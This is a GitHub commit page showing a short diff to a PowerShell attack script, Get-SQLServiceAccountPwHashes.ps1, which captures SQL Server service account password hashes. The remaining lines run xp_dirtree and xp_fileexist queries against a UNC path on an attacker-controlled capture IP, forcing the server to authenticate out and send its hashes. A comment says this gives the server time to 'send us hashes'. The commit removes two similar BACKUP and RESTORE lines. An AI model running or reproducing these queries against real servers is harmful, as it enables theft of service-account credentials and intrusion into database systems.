We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
1 parent 84663b3 commit 3bed644Copy full SHA for 3bed644
1 file changed
scripts/pending/Get-SQLServiceAccountPwHashes.ps1
@@ -72,9 +72,7 @@ Function Get-SQLServiceAccountPwHashes {
72
# Functions executable by the Public role that accept UNC paths
73
Get-SQLQuery -Instance $CurrentInstance -Query "xp_dirtree '\\$CaptureIp\file'" -SuppressVerbose | out-null
74
Get-SQLQuery -Instance $CurrentInstance -Query "xp_fileexist '\\$CaptureIp\file'" -SuppressVerbose | out-null
75
- Get-SQLQuery -Instance $CurrentInstance -Query "BACKUP DATABASE TESTING TO DISK = '\\$CaptureIp\file'" -SuppressVerbose | out-null
76
- Get-SQLQuery -Instance $CurrentInstance -Query "RESTORE VERIFYONLY FROM DISK = '\\$CaptureIp\file'" -SuppressVerbose | out-null
77
-
+
78
# Sleep to give the SQL Server time to send us hashes :)
79
sleep $TimeOut
80
0 commit comments